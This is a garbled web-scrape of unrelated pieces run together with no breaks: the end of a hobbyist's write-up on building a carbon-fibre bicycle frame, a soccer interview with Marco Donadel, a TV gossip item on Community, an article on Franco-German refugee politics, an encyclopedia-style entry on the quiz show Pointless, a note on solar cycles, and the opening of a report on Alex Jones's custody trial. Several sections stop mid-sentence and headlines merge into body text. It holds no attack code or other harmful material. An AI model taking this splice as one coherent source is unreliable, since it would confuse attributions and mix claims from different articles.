frame in this region. From this clay surface I cast a plaster negative. I molded a rubber positive from the plaster, and then sandwiched the wet carbon layers in between. When the epoxy had cured, I positioned the molded carbon shape on the foam core and glassed it into place onto the existing carbon surrounding it.
Secondary Operations
A) Bonding. I co-cured the dropouts when I laid up the chain stays. I wetted out the carbon with laminating epoxy as usual, and also put a coat of bonding epoxy on the dropouts, then assembled both wet. After all the layers had cured, I drilled a hole in the carbon for the rear brake boss and bonded it in place. I bonded the bb shell into its cavity. For bonding I used 3M DP-460 epoxy. B) Machining. I trimmed the excess carbon and aluminum with a hacksaw and faced the head tube and bb. I trimmed the excess length of carbon beyond the designed ends of the seat tube and smoothed it with a file.
Finishing
The woven carbon cloth was the last layer I laminated. It would be visible in the finish, so I tried hard not to let too much distortion occur in this layer. After it cured, I washed the frame to rid the surface of the amine blush described in West Seystem's literature, and applied several layers of wet epoxy. I finger painted each layer on and let the layers dry one at a time, sanding with my soft sanding block in between each coat. The surface is far from commercial quality, but the carbon weave helps distract the eye from the unevenness and other tiny surface blemishes. In addition, the well known "no depth perception" effect produced by looking at carbon fiber also masks the flaws. And lastly, the addition of bike parts to complete the machine hides some of the rough areas, too. A proper paint job would require quite a bit of spot filler, adding weight, taking time and costing money, so I left it clear.
Proof Testing
I built a large test fixture out of two-by-fours and a four-by-four to span the complete bike. I used a hydraulic ram to apply downward force to the seat area. I measured the force in 50 pounds per square inch increments on the hydraulic gauge, and measured the deflection of the frame's beam at each increment. I was pleased to hear no cracking sounds! On the first trial, the seat post slipped in the frame at about 300 pounds (136 kg), so I tightened the bolts and started over. On the second try I reached 400 pounds (182 kg). This was a quasi static loading mode, taking about five minutes to reach 400 pounds. Not wanting to break the frame without having ridden it, I stopped at 400 pounds. After I rode it and was satisfied that I had actually made a frame that really worked, I became more curious. What if I needed more than 400 pounds loading capacity? What if I hit a REALLY big bump?
Road Testing
The beam was a little too active for my taste at first. It moved about 1/4 as much as an Allsop SoftRide beam, so I thought I would get used to it. After a month or two, I got more used to it, but decided I still preferred a stiffer beam. The other complaint I had was the sideways movement I got on the beam when pedaling hard in the saddle. I considered adding laminates to the beam to stiffen it up, but really wished I had ended up with the larger cross section of my original design, or perhaps a cross section even larger still. What a learning experience! To have so many aspects of my first design work out so well, and still to have ideas for improvement was exhilarating for me. My plan at this point was to learn as much as I could about the beam I had, and then break it by intentionally overloading it in my test fixture in order to learn the current beam's ultimate strength. Then I would graft a new carbon beam onto my frame. But first, in order to find out what loads the beam was seeing in real life on the road, I decided to record the deflection while riding and relate that to my proof test results above. Using a reflector bracket mounted at the rear brake, I rigged up a piece of white cardboard to remain fixed on the lower part of the frame, and arranged a wooden dowel to hold a pencil from the seat area. The pencil moved up and down with the seat as the beam flexed, and drew a vertical line on the cardboard. The cardboard was nearly vertical, and the pencil moved in almost the same path as the dowel in the earlier proof test. I did my usual bike-club ride and tried not to weight the seat any differently than I normally would. After the ride, I measured the lengths of the longest lines and compared these deflections with my proof test deflections. My results were eye-opening. The beam spent most of its time (the pencil was very dark) in the range of deflections that I thought corresponded to a 100 to 200 pound load range. This was on typical flat roads, climbing and descending, slow speed and high speed. The maximum loads recorded all occurred at relatively low speed, which was a surprise to me. The highest load occurred one block from my house, in a dip where
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EXCLUSIVE
MONTREAL — If Marco Donadel doesn’t need a second to respond to questions regarding next week’s first leg of the MLS Eastern Conference Final between the Montreal Impact and Toronto FC, it’s because he’s already given the game a great deal of thought.
In the same way the midfielder likes to know what he wants to do with the ball before it has arrived at his feet, in our interview this week at the Impact’s training facility the 33-year-old often knew what he wanted to say before the questions were even finished being posed. He’s already considered many of the game’s factors; it’s on-field situations and surrounding narratives.
Davide Favaro, a former player who was Donadel’s roommate at AC Milan academy and now runs the Milano United youth academy in Miami, told Goal by telephone that of all the players he encountered in his career, Donadel was “always the most mentally prepared."
First and foremost, Donadel understands that this is going to be a difficult matchup for the Impact. At the same time, however, it’s precisely because of the challenge, that he likes his team’s chances of progressing.
“The more difficult the game is the better we play, which means were very optimistic,” Donadel told Goal. “This is our strength: that we never consider ourselves strong, but we know that if we give our maximum we have a lot of quality.”
It’s been a pattern for the Impact over the past two seasons, and a line often repeated by players and staff over the past few weeks — which saw the Impact surprisingly defeat D.C United and the New York Red Bulls in the opening two playoff rounds — that when the stakes are high the team comes together and raises its game.
This was very much the case at the beginning of last season when the Impact were beginning their journey in the CONCACAF Champions League knockout round. They weren't expected to go past the first round and yet they went all the way to the final.
And they weren't expected to do much in the league that season either. With a few months remaining in the campaign, the Impact were struggling below the playoff line and erstwhile head coach Frank Klopas was fired. But soon after local legend Mauro Biello took over and Didier Drogba arrived, the Impact drove up the standings, finishing third, and for a time looked unstoppable. They eventually lost in the Conference semifinals to the Columbus Crew — by one goal, which came in the extra time of the second leg.
This year has been a similar story. Outside of a very fast start, where they won four of their first six games, the Impact haven’t often been convincing. There’s been some bad down periods, including a four-game home stretch between August and September where they failed to win and were outscored 11-3.
But once again, when the games have mattered most, the Impact have found a way to play their best soccer.
“Here the league is a little different from Europe where you can have a bad period and then it’s difficult to finish at the top, because you’ve dropped too many points, but here the important thing is to arrive in good shape going into the playoffs and then we see what the teams are really about,” Donadel said. “We showed last year and this year that when the games count we’re ready. The beginning of the season doesn’t matter much. We can have ups and downs during the year, because there’s a lot of new players, you face new situations, but when things really matter, we have been able to step up our game.”
Donadel partly attributes this ability to perform under adversity to the team's growing maturity and understanding of what is required to be successful. The Impact have come under criticism in the past for not finding a precise playing philosophy, but Donadel argues that what’s most important is having a strong team spirit.
“I don’t think we have a strong identify of play, like a Barcelona does or some other teams, but having one, single identity of play is a stupidity, because then it’s so easy for other teams to adapt to your game,” Donadel said. “So I think the real identity has to do with the way you approach games. I think we’re starting to have the right approach, where we give everything on the field, we stay united, we help each other. Attacking players like [Ignacio] Piatti and [Domenic] Oduro, Matteo [Mancosu] make runs for their teammates, help defend, attack; we get angry at each other when someone makes a mistake, but it’s done in the right way.
"This is a strong team mentality, and it’s the product of Mauro (Biello) and his staff’s work. We have a great desire to work; we’re here at 9 a.m.; and even at 2 or 3 p.m. there’s still players that are around, looking at video, different details. So, we’ve grown a lot from this point of view, but the identity is to fight, like our club motto says, tous pour gagner—everyone to win. We’re starting to have that mentality.”
Since signing with the Impact as a free agent before the start of the 2015 season, Donadel has had ups and downs of his own. He needed a few months to adapt to a new league, a new city and a new club. And his performances in the beginning suffered for the fact that, when he first arrived, he hadn’t played a competitive game in over six months.
But the most difficult challenge was living without his wife and three daughters in Montreal for the first half of the first year. They couldn’t all make the move in January with the daughters—Beatrice, Maria and Anita Emilia—being half way through the school year.
On a few occasions, Donadel admits, life became so difficult that he considered leaving the club.
“I won’t hide from you the fact that there was two, three times where I took my suitcase and wanted to leave, because the sacrifices were too many,” Donadel said. “But here they’ve treated me like a son, that was priceless, and I’ve been trying to pay back everything they’ve given me, the confidence they gave me, with my performances.
"Then everything became simpler, my family came over, I got better physically, the results started to come, and then, like I’ve said, when the games matter, we’re here. Maybe other teams show a lot throughout the year, like Washington, they had a very nice period, New York since July were excellent, but then in the games that mattered we were the ones who passed.”
Sitting in front of the Impact’s back four and giving license to fellow central midfielders Patrice Bernier and Hernan Bernardello to occupy more attacking positions, Donadel has not only been an important part of the Impact’s game, but has quietly been one of best midfielders in the league.
There was initial concern about how he would be able to handle the physicality of MLS, but he says he hasn’t found that aspect to be an issue.
“This thing of MLS being a very physical league, is not something I’ve noticed,” Donadel said. “Even when I look at the numbers of the games when I was playing in Serie A I was doing 12, 13 kilometers, minimum, while here I’m doing 11, 10 and a half. A kilometer or a kilometer and a half less isn’t nothing. If you compare the Premier League with Serie A for sure it’s less tactical and more instinctive, there’s more running, physical in that sense, where you’re often in these 1 v. 1 sprint situations. Here you see it’s starting to become a lot more thoughtful, with teams like Toronto, who like to play, or New York City, that like to keep the ball. But I don’t see MLS as being more physical than other leagues.”
What Donadel does say about MLS is that he feels American teams are given special treatment, both on and off the field. He also says that this is justified because the league is after all comprised of 17 U.S. teams as opposed to only three Canadian clubs, but that it does give the Impact extra incentive to perform well.
“I’ll tell you that we feel like everyone is against us,” he said. "And this is perfect for us".
Donadel was also irritated by Piatti’s exclusion from the final three-man shortlist for MVP, despite the fact that the Argentine winger managed to score 17 goals from midfield.
“Seeing Nacho not being considered for the MVP, after all he did this season, is complete insanity; it’s anti-soccer,” Donadel said. “When you see the goals Nacho scored this year, I mean I figure the reason is that people aren’t watching the games, because otherwise it’s unexplainable.”
It's not a surprise then that Donadel takes extra delight from the fact that the Eastern Conference final will be an all-Canadian affair for the first time. It could also be historic from an attendance point of view, since close to 60,000 tickets already have been sold for the first leg at Olympic Stadium—the most attended playoff game was the MLS Cup final at Gillette Stadium in 2002 between the LA Galaxy and the New England Revolution, which had a crowd of 61,316.
“If we want to grow this league, we need to increase the fascination for it, with matchups that are intense, heated, that mark history,” Donadel said. “With Montreal and Toronto in the conference final, who knows who will win, but it creates one point for future generations, where we can look back and say ‘oh yeah there was that year, where there was that final’, it creates a whole movement, beautiful things.
“In Italy I grew up with that, historical derbies, won, lost, Milan beating Inter 5-0, these things create history, we remember the things that have happened, the players that have come and gone, and so having this rivalry between Montreal and Toronto, between Canada and the U.S., is only a good thing.”
Though Donadel considers TFC to be one of the best teams in the league, he says the Impact are ready to make life very difficult for them.
It’s the sort of position they’ve been in plenty of times before.
“It’s going to be tough for them, because we have experience, we know how to defend, manage games, and at the same time, we also have quality up front,” he said. “They’re going to have to be perfect if they want to advance, because we’re going to be perfect.”
Follow NICK SABETTI onAny Community fans who have been awaiting a full-fledged romance between Jeff and Annie may finally get their wish come Season 3. At least that’s what series stars Joel McHale and Alison Brie tell TVLine.
Community Video Sneak Peek: A Musical Number Featuring a ‘Less Weird’ Promise
During a recent visit to the set of NBC’s cult fave comedy, I attempted to dig up some dirt on Greendale’s somewhat taboo twosome, and came up with this, courtesy of McHale: “The relationship between Jeff and Annie will definitely be pumped up.”
Given that the word “relationship” implies there might be more there than just friendship going on, my interest was instantly piqued — and rightfully so.
“There’s definitely more Jeff/Annie chemistry this year than ever before,” Brie teased when asked what to expect when school reopens Thursday, Sept. 22, at 8/7c. “In seasons past, [Community] has really made the audience wait for a moment between the two, but this year we address it right away.”
And by it Brie of course means the raw “sexual chemistry” between the two.
“Jeff and Annie are both very upfront with each other about their sexual tension — more than ever before — so much so that Joel and I were a little taken aback,” Brie continued. “We, as actors, started to think, ‘Ohhh, maybe these two hooked up a little bit over the summer’ — like there was something we didn’t even know about. They just seem more comfortable with this thing between them than ever before.”
Community Cast Talks Time Jumps, Annie/Abed Baby and the Inevitable Greendale Porno
Brie explained that said liaisons — which, per McHale are not initially revealed to the study group — are touched on in the premiere but “really kick up by the second and third episodes.”
McHale took an in-the-dark approach to answering when asked when or if the pair’s new closeness will evolve into an actual relationship down the road, saying with a laugh, “I have not gotten to those scripts yet — if that is even where it’s going.”
Joel McHale and Gillian Jacobs Preview Community‘s ‘Scary’ New Addition
Added the actor, insightfully, “Our genius creator Dan Harmon will not give in to television conventions of ‘Will they/Won’t they?’ relationships — as you saw with Britta and Jeff and all the sex over the past two seasons. But it’s different territory with Jeff and Annie.
“There aren’t a lot of TV relationships out there like this,” he pointed out, “and I’m sure if something real develops between this older dude and this younger girl, it will be taken seriously, so it doesn’t become a parody.”German Chancellor Angela Merkel and French President Francois Hollande are "in agreement in their assessment of the current refugee situation." That was the word from the Chancellor's office in Berlin on Monday following the announcement that Germany would be reinstating border controls. Officially, Hollande is also in agreement with Merkel's stance on quotas for the EU-wide distribution of refugees.
Yet, real generosity from France is still lacking, at least in the eyes of German politicians. "France is taking in as many refugees as we are in the district of Allgäu," Horst Seehofer, the Christian Social Union (CSU) state premier of Bavaria, told the daily Passauer Neuen Presse. "That is selfish. When things get tough, there is no solidarity in Europe any more." French officials have said they would take in up to 24,000 refugees this year; Germany is expecting to take in 800,000 – Vice Chancellor Sigmar Gabriel is even figuring on a million.
But the criticism goes both ways. French politicians, from the right as well as the left, are baffled by Merkel's open-door policy. "The generosity of the German people is laudable, but Merkel made a huge political mistake when she put out her unilateral siren call to refugees," Socialist Malek Bouith, himself the son of Algerian immigrants, said earlier this week on French television. "Mrs. Merkel's behavior is starting crises for Germany's neighbors - first and foremost France." He went on to say that her actions have "made her an ally of Marine Le Pen." Predictably, Le Pen, the head of the extreme right-wing party Front National, is pandering to the worst fears of the French people.
The Republicans, the rebranded conservative UMP of former President Nicolas Sarkozy, are also shaking their heads about Merkel. That is a rather grave fact as the Republicans are essentially a French version of the Christian Democrats (CDU) and have close ties to the German Union parties. Pierre Lellouche, the Republicans' foreign policy speaker of the party, recently spoke about Merkel with the German public radio broadcaster Deutschlandfunk: "She expedited the crisis, which has now gotten out of control." He, too, spoke of a "siren call to the millions."
Sarkozy - who may well stand in the next French Presidential elections, and who during his time as head of state worked closely with Merkel - has warned that a continuing influx of refugees could "dissolve French society." He is also against quota rules. In June, Sarkozy said acceptance quotas were the political equivalent of a plumber trying to distribute water more efficiently in an apartment after a pipe burst, rather than stopping the flow.
Last week, former conservative minister Patrick Devedjian, who is of Armenian descent, offered a statement even more abstruse when he said: "The Germans took our Jews and gave us Arabs." He later excused himself for the "misplaced joke."
It was clear from the start that Germany's refugee policy would be a golden opportunity for Marine Le Pen. "I accuse the German chancellor of burdening all of Europe with illegal immigrants after she already burdened it with her financial order," Le Pen said, deftly touching upon two sore spots for the French people. And the sentence "We are not Mrs. Merkel's doormat!" can easily be understood as a jab at Hollande, whom Le Pen sees as being all too willing to follow the chancellor's lead.
France's immigration experience
It is not just French politicians who think differently than Germans when it comes to the refugee debate. French society does as well. According to a recent poll, about 50 percent of those questioned said they did not want to take in any more refugees. And over 60 percent said asylum applications from Syria should be handled "like everybody else" - exactly the opposite of the "culture of welcoming" that is being propagated by all of the German parties represented in parliament.
But where do these differences come from? Professor Frank Baasner, head of the German-French Institute (Deutsch-Französisches Institut, DFI) in Ludwigsburg, Germany, told DW that "the demographic situation is completely different in France than it is in Germany," and "there are no solidly established far-right parties" like the Front National here.
Experiences with immigration "have not been all that happy" in France either. But, as a rule, one need not predict similar immigration problems for Germany, which does not have to deal with the "colonial background" that France has. Baasner said France also had the "illusion" that the country could somehow stabilize the Maghreb and sub-Saharan states with special African policies and that the "historical wounds" that France came away from that experience with have never really healed. In contrast, Germany has, not lastly through reunification, exhibited a "great amount of adaptability - economically, mentally and psychologically." That also applies to immigration and has had a "dynamic" affect on German society.
If differences remain and neither side can approach the other, it could have dire consequences. Some French politicians are already blaming Angela Merkel for Marine Le Pen's rise in popularity.
But Baasner believes that France and Germany will eventually come to consensus on the subject, much as they did over Greece's debt. At a certain point, European politicians realize that "we all share this problem." The pressure to act is certainly there. However, shared "political will" and "foresight" have to come as well. Right now, he said, "both are missing."This article is about the British game show. For other uses, see Pointless (disambiguation)
Pointless is a British game show. It is produced by Endemol Shine UK for the BBC, hosted by Alexander Armstrong and Richard Osman. Each episode of the quiz features teams of two contestants attempting to find correct but obscure answers to general knowledge questions in order to score as few points as possible, and become eligible to compete for the show's cash jackpot. All questions used on the show are factual in nature, and are asked to a panel of 100 individuals in a pre-conducted public survey. Contestants seek to find correct answers that were given by as few participants as possible; those given by no participants are termed "pointless" and are the most desirable. Every pointless answer given during the main game increases the jackpot by £250, and one such answer must be given in the final round in order to win it.
Although it originally debuted on BBC Two on 24 August 2009, its success in its first three series led the BBC to broadcasting it on BBC One from 2011, though on occasions when the channel is to feature live broadcasts of major news and sporting events, the programme is aired on BBC Two as a direct result. To date, the programme has aired 20 series,[1] and has had peak audience figures of over 7 million viewers.[2] The show has spawned a celebrity edition entitled Pointless Celebrities in 2011, which to date has had 11 series. The format has been exported internationally.
Gameplay [ edit ]
The object of the game is for contestants to provide answers that are not only correct but also as obscure as possible, with each game consisting of teams of two contestants; previously the programme featured five teams to begin with, but this was later reduced to four teams. Prior to each show, 100 people are given 100 seconds to provide as many answers as they can to a series of general knowledge questions as part of a pre-conducted online survey,[3] and in each round, contestants are asked these same questions. These questions are set into categories, with the contestants given rules regarding what they are searching for in terms of answers, more importantly what answers will be accepted for the question given. If the answer is correct, the team scores one point for each participant that gave it during the survey; if none of the surveyed participants gave an answer listed for the question and a contestant gives it, the team scores zero points for providing a "pointless" answer. If the answer is incorrect, the team scores the maximum of 100 points. After a question is done, a list of answers that are pointless are given, along with the high-scoring answers given in the survey, usually the top three.[4]
The format of the show starts with two elimination rounds, in which teams must achieve as low a score as possible. The team with the highest score in each round is eliminated from the game. If two teams are tied for the highest score in either of these rounds, a sudden-death "lockdown" round is played, with the higher-scoring team losing. In the next round, the two surviving teams compete against each other to find the lowest scoring answer in a series of questions. The winning team moves on to the final round.
Eliminated teams making their first appearance are eligible to appear again in the next consecutive game; teams who have appeared twice or reached the final round cannot return (with the exception of the teams that appeared in the 1000th episode). The team that reaches the final round is awarded a trophy to keep. They then have the opportunity to supply three answers to a question. If any of the answers is pointless, they win the jackpot as it stands for that game; otherwise, the money rolls over to the next show.
The cash jackpot begins at £1,000 at the start of its run. Except in the final round, every pointless answer given adds £250 to the cash jackpot. If the jackpot is not won at the end of a game, the amount (including any increases from pointless answers) is rolled over to the next game and increased by £1,000, offering returning and new contestants a chance of winning a bigger cash prize. To date, the highest recorded jackpot won on the show was £24,750 on 8 March 2013. Once the jackpot is won, the amount is reset to £1,000. For the celebrity version, the jackpot is set at £2,500, and increases by £250 for each pointless answer found, while special editions have the jackpot set at £5,000, and increased by £500 for each pointless answer found; in neither version does the jackpot roll over to another show.
Elimination rounds [ edit ]
During an elimination round, teams aim to score as few points as possible, with the team having the highest score at the end of the round being eliminated from the game. Each round consists of a question derived from a subject, with each member of a team required to give an answer during a pass; each round consists of two passes, and teams are required, prior to the question being given, to decide who answers during the first pass, with the other answering during the second pass. The order of play differs; in the first elimination round, it is determined by drawing lots in advance of recording, while in the second, it is determined by the scores in the previous round, though in both, the team nearest to the host answers first, moving on towards the team farthest from them, before going back in reverse order during the second pass. In the event of a tie, the tied teams are allowed to confer and give an extra answer to the question, until one team manages to score more points than the others; if no team can give a correct answer on this pass, the question is thrown out and a new one is asked in its place.
Five different formats for the questions are used/have been used during the programme's run for the elimination rounds in each game, and are listed below:
Open-Ended – Contestants are given the question, and have free choice of what answer to give. In the first series, this format was used three times in this round, before subsequent episodes used it no more than once. A variant of this format was introduced in the seventh series, in which a list of categories is shown and contestants can give an answer as long as it fitted into any of the categories shown (for example, they could name any member that was in any band on the list); contestants are not required to identify which category their answer belongs to, and will be still credited for a correct answer even if they attribute it to the wrong category. This variant of the format was mainly designed to combine several smaller categories into a round (e.g. the films of several different actors) or to narrow down a wider category (for example, by limiting answers to those starting with certain letters).
– Contestants are given the question, and have free choice of what answer to give. In the first series, this format was used three times in this round, before subsequent episodes used it no more than once. A variant of this format was introduced in the seventh series, in which a list of categories is shown and contestants can give an answer as long as it fitted into any of the categories shown (for example, they could name any member that was in any band on the list); contestants are not required to identify which category their answer belongs to, and will be still credited for a correct answer even if they attribute it to the wrong category. This variant of the format was mainly designed to combine several smaller categories into a round (e.g. the films of several different actors) or to narrow down a wider category (for example, by limiting answers to those starting with certain letters). Possible Answers – Introduced in the second series, contestants are given a board of potential answers to a question and must pick up, attempting to find the obscure ones on the board and avoid picking out a wrong answer. Each pass consists of two boards, each possessing at least one pointless answer and one incorrect answer, the latter usually having some indirect link (often humorous) with the question, with Osman going through the board after a pass, revealing the points scores of the correct answers and which were incorrect. This format allowed categories to be used in which no commonly agreed definitive list of correct answers exists. It was discontinued following the end of the fifth series.
– Introduced in the second series, contestants are given a board of potential answers to a question and must pick up, attempting to find the obscure ones on the board and avoid picking out a wrong answer. Each pass consists of two boards, each possessing at least one pointless answer and one incorrect answer, the latter usually having some indirect link (often humorous) with the question, with Osman going through the board after a pass, revealing the points scores of the correct answers and which were incorrect. This format allowed categories to be used in which no commonly agreed definitive list of correct answers exists. It was discontinued following the end of the fifth series. Clues and Answers – Introduced in the third series, contestants are given a list of clues related to the topic of the question, whereupon they must select a clue and provide the correct answer connected to it. An example of this format is that a list could contain the names of different battles, and the questions requires a contestant to name the country that it took place in (i.e. "the Battle of Hastings" – "United Kingdom"). Although the round follows a similar style to that of the "Possible Answers" format, there is no guarantee that contestants may find a pointless answer from within the list.
– Introduced in the third series, contestants are given a list of clues related to the topic of the question, whereupon they must select a clue and provide the correct answer connected to it. An example of this format is that a list could contain the names of different battles, and the questions requires a contestant to name the country that it took place in (i.e. "the Battle of Hastings" – "United Kingdom"). Although the round follows a similar style to that of the "Possible Answers" format, there is no guarantee that contestants may find a pointless answer from within the list. Linked Categories – Introduced in the fifth series, each pass consists of two closely related categories; one team member provides an answer related to the first category, while the other provides an answer to the second category. The format follows the same principles as that of the "Open-ended" format, but was rarely used, and was later discontinued after the series.
– Introduced in the fifth series, each pass consists of two closely related categories; one team member provides an answer related to the first category, while the other provides an answer to the second category. The format follows the same principles as that of the "Open-ended" format, but was rarely used, and was later discontinued after the series. Picture Board – Introduced in the seventh series, contestants are shown a picture or pictures, which contain many people or objects that they have to identify, attempting to seek out those that are more obscure than others. The format is occasionally used, and often replaces the "Open-ended" format when it does.
The two teams that survive elimination in the initial rounds, now compete against each other, answering questions with the intention of finding the lowest answers possible. Both teams can now confer, and the winning team of this round moves on to the Final. The format of this round has differed, as listed below:
Series 1 – Both teams provide as many correct answers as they can to a single question, with the aim of providing answers that score as few points as possible, with the round ending if a team goes above 100 points. The team who scored the lowest in the elimination rounds gets pick choosing which of two categories to answer, with both teams required to give an answer on each turn, regardless of their opponents going over 100. If both teams go above 100, then the team that is nearer to 100 goes through to the final.
Series 2–5 – Both teams compete in a multi-question best-of contest; best-of-five for the second series, best-of-three from the third series. Each team must give an answer to a question, and once both have done so, the lower score of the two wins the question and earns that team a point. Each question will usually have a minimum of four answers to choose from, and the order of play is that the team who acquired the fewest points in the elimination rounds gets to answer first on the first question.
Series 6–present – Both teams compete in a multi-question best-of-three contest; while the format is the same since the third series, questions are now designed around the "Clues and Answers" format. Each question now has five answers to choose from, and there are three kinds of questions in this round: a picture/sound question, in which contestants are shown five pictures or are played five sounds or pieces of music, labelled A to E, and must identify them, often with some letters given as an additional clue; a facts question, in which contestants are given a list of clues to notable facts, and must identify the answer based upon the clue given; a word puzzle question, in which the answers, connected to the subject of the question, are given in the form of an anagram, an initialism, have alternate letters missing, or complete a quote or title.
Final [ edit ]
The winning team that survives both the elimination rounds and the head-to-head receives a trophy that they are allowed to keep, regardless of what happens in the final round, and now attempt to win the game's jackpot; the host will usually remind viewers of the amount, including if it is a rollover from a previous game(s). In order to win it, the team first chose a category from a list given to them, whereupon they are given a question connected to it, and have 60 seconds to confer amongst themselves on which three answers they will use; contestants may freely end the debating period early, if they have decided on which three to give. If any individual response is a pointless answer, the team wins the jackpot; otherwise, it is rolled over to the next show.
Originally, contestants could choose from one of three categories, with those not chosen remaining in the list for five days or until they were picked. This format was used between the first and fifth series. The number of categories to choose from was then increased to five at the start of the sixth series. By the start of the second half of the ninth series, the format of the round was modified in that the winning team must supply answers within three subcategories connected to their chosen category, though they may elect to go for any or all three subcategories with their answers. In addition, they must state which subcategory each of their answer belongs to; if it is for the wrong one, their answer is considered incorrect.
Pointless Celebrities [ edit ]
Following the success of Pointless and its transfer to BBC One, the BBC commissioned a celebrity edition of the programme, entitled Pointless Celebrities. Like the main show, the celebrity edition featured teams of two celebrities competing against each other to win the jackpot for their chosen charities. While the show used the same format for rounds, the celebrity edition featured notable differences. Unlike the regular show, the celebrity version was reserved for the weekend and placed in a prime-time evening slot for its broadcast. In addition, celebrities can return in more than one episode, with the same partner or a different partner, most episodes usually featured a theme in regards to the celebrity contestants that took part—an example, a celebrity edition aired in December 2015 consisted of celebrities who were made famous on reality television shows like Big Brother and Made in Chelsea.[5]
As the celebrity edition is for charity, celebrity teams compete for a jackpot of £2,500, and can increase the amount by £250 for every pointless answer they find before the final round. While the jackpot will not roll over to the next celebrity game if it is not won, the programme rewards all teams with £500 for taking part, regardless of how well they performed.
Development [ edit ]
The show's format (originally to be called "Obviously") was conceived by Tom Blakeson, Simon Craig, David Flynn, Nick Mather, Richard Osman and Shaun Parry, producers at Endemol UK, in 2009. They envisaged it as a "reverse Family Fortunes....rewarding obscure knowledge, while allowing people to also give obvious answers....a quiz which could be sort of highbrow and populist simultaneously".[6] Osman was not originally intended to be co-presenter, primarily fulfilling the role only as part of a demonstration laid on for the BBC. However the BBC executives asked him to continue when they commissioned the first series.[6] Osman then approached comedian Alexander Armstrong, a peer of Osman's during their university days, to be the main presenter.[6] Armstrong, who the previous year had been lined up to present Channel 4's Countdown only to back out for fear of being pigeon-holed as a presenter,[7] agreed to present what was perceived as a lower-profile show, with the presence of Osman helping to convince him.[6]
The first series aired on the BBC's second channel BBC Two between August and October 2009, with the corporation announcing on the day of the final episode's broadcast that they had commissioned a second series. The series' audience had peaked at 1.69 million viewers, 17.2% of audience share for the timeslot,[4] while averaging around 1 million viewers per episode.[6] The second series saw audiences grow modestly and the format was tweaked prior to the start of series three, reducing the number of rounds and giving more time for banter between the hosts which had previously been edited out.[6] The change saw strong viewer growth with the show subsequently moved to the BBC's main channel BBC One in 2011.[6][8] By 2013, the programme records four episodes in one day,[9] and averaged 3.6 million viewers daily, gaining more viewers than ITV game show The Chase, which also airs in roughly the same time slot.[8]
In February 2014, Pointless was extended for another 204 episodes, giving three more series, taking the total commissioned to 13 in February 2014. A further 24 celebrity episodes were also ordered.[10] For the 1,000th episode, which aired on 16 January 2017, Armstrong and Osman traded host/assistant duties and four previous couples who had distinguished themselves in various ways were invited to compete again. The jackpot for this episode began at £2,500 (the usual starting value for Pointless Celebrities), and every pointless answer during the main game added £1,000 to it. On 23 February 2016, it was announced that the show had been recommissioned by the BBC to make 165 more regular daytime editions along with 45 prime-time celebrity specials, which will see Pointless continue to air on BBC One until at least the end of 2017.[11][12] On 4 September 2017, it was announced that the BBC had commissioned a further 204 episodes which will include 165 regular and 39 celebrity specials.[13]
With the start of the 11th series of Pointless Celebrities on 23 December 2017, the show gained a brand new set design and an updated intro that replaced the one used since the show's debut. This extended to the 19th series of the daytime version when it premiered on 2 April 2018.
Transmissions [ edit ]
Regular editions [ edit ]
Pointless is broadcast daily on weekdays, at tea time.
Series Start date End date Episodes Notes 1 24 August 2009 6 October 2009 30 No episode on 31 August or 10 September 2009 2 8 March 2010 16 April 2010 30 3 30 August 2010 22 December 2010 50 Series 3 took breaks from 4 to 14 October and 22 November to 21 December 2010. Episode 50 was a celebrity special 4 14 March 2011 26 August 2011 60 Series 4 took a break from 18 April to 8 July 2011 5 29 August 2011 6 February 2012 60 Series 5 took a break from 17 October 2011 to 2 January 2012 6 13 February 2012 24 August 2012 70 Series 6 took breaks on 23 March, from 2 to 27 April, on 3 May and from 4 June to 10 August 2012 7 29 August 2012 5 December
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22, 53, 88, 105, 213, and 426 years) shows the next two cycles will likely be very quiet much like those of 200 years ago in the early 1800s, the so called Dalton Minimum, the time of Dickens (with snows and cold in London like last winter) (below, enlarged here).
See what David Archibald shows what the result might be if Clilverd is correct here. Some have not ruled out an even stronger Maunder like Minimum.
Read more in this pdf here.
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Posted on 08/30 at 05:03 PM(349) TrackbacksLawyers for Kelly Jones will maintain that Jones’ public outbursts suggest he is not a fit parent.
Alex Jones’ lawyers will make the case that their client should not be judged by his on-air persona.
Alex Jones and his ex-wife, Kelly, will be locked in a child custody trial the next two weeks in Austin.
At a recent pretrial hearing, attorney Randall Wilhite told state District Judge Orlinda Naranjo that using his client Alex Jones’ on-air Infowars persona to evaluate Alex Jones as a father would be like judging Jack Nicholson in a custody dispute based on his performance as the Joker in “Batman.”
“He’s playing a character,” Wilhite said of Jones. “He is a performance artist.”
But in emotional testimony at the hearing, Kelly Jones, who is seeking to gain sole or joint custody of her three children with Alex Jones, portrayed the volcanic public figure as the real Alex Jones.
“He’s not a stable person,” she said of the man with whom her 14-year-old son and 9- and 12-year-old daughters have lived since her 2015 divorce. “He says he wants to break Alec Baldwin’s neck. He wants J-Lo to get raped.
“I’m concerned that he is engaged in felonious behavior, threatening a member of Congress,” she said, referring to his recent comments about California Democrat Adam Schiff. “He broadcasts from home. The children are there, watching him broadcast.”
Beginning Monday, a jury will be selected at the Travis County Courthouse that in the next two weeks will be asked to sort out whether there is a difference between the public and private Alex Jones, and whether, when it comes to his fitness as a parent, it matters.
For Naranjo, who has been the presiding judge of the 419th District Court since January 2006, it is about keeping her eyes, and the jury’s eyes, on the children.
“This case is not about Infowars, and I don’t want it to be about Infowars,” Naranjo told the top-shelf legal talent enlisted in Jones v. Jones at the last pretrial hearing Wednesday. “I am in control of this court, not your clients.”
But for Alex Jones, at the peak of his power and influence, what emerges from the art deco courthouse on Guadalupe Street might shape whether he comes to be seen by his faithful as more prophet or showman.
Infowars as evidence
Alex Jones is an Austin original who, 21 years after he got his own show on Austin public access television, has become an unlikely popular and political force in the Donald Trump era, an ingenious and indefatigable conjurer of conspiracy theories about sinister global elites seeking to enslave the masses, who found, in Trump, a hero open to his shadowy narratives.
“Alex Jones and his Infowars’ umbrella of radio shows, YouTube and Facebook broadcasts, Internet website and tweets turned out to be Trump’s secret weapon,” Roger Stone, probably Trump’s oldest and closest political confidant, wrote in his book “The Making of the President 2016.” “His fiery words have struck a chord in the nation and he speaks for millions. In fact, more people follow Alex than watch Fox News or CNN.”
In addition to broadcasting his radio show on some 150 stations, Infowars.com had 7.6 million global unique visitors between March 16 and April 14 according to Quantcast, which measures web audiences and ranked Infowars.com 387th among all U.S. websites, not far behind Texas.gov, MLB.com and PBS.org.
The Alex Jones YouTube channel has more than 2 million subscribers and more than 1.2 billion video views.
But Jones’ most important listener is the president of the United States.
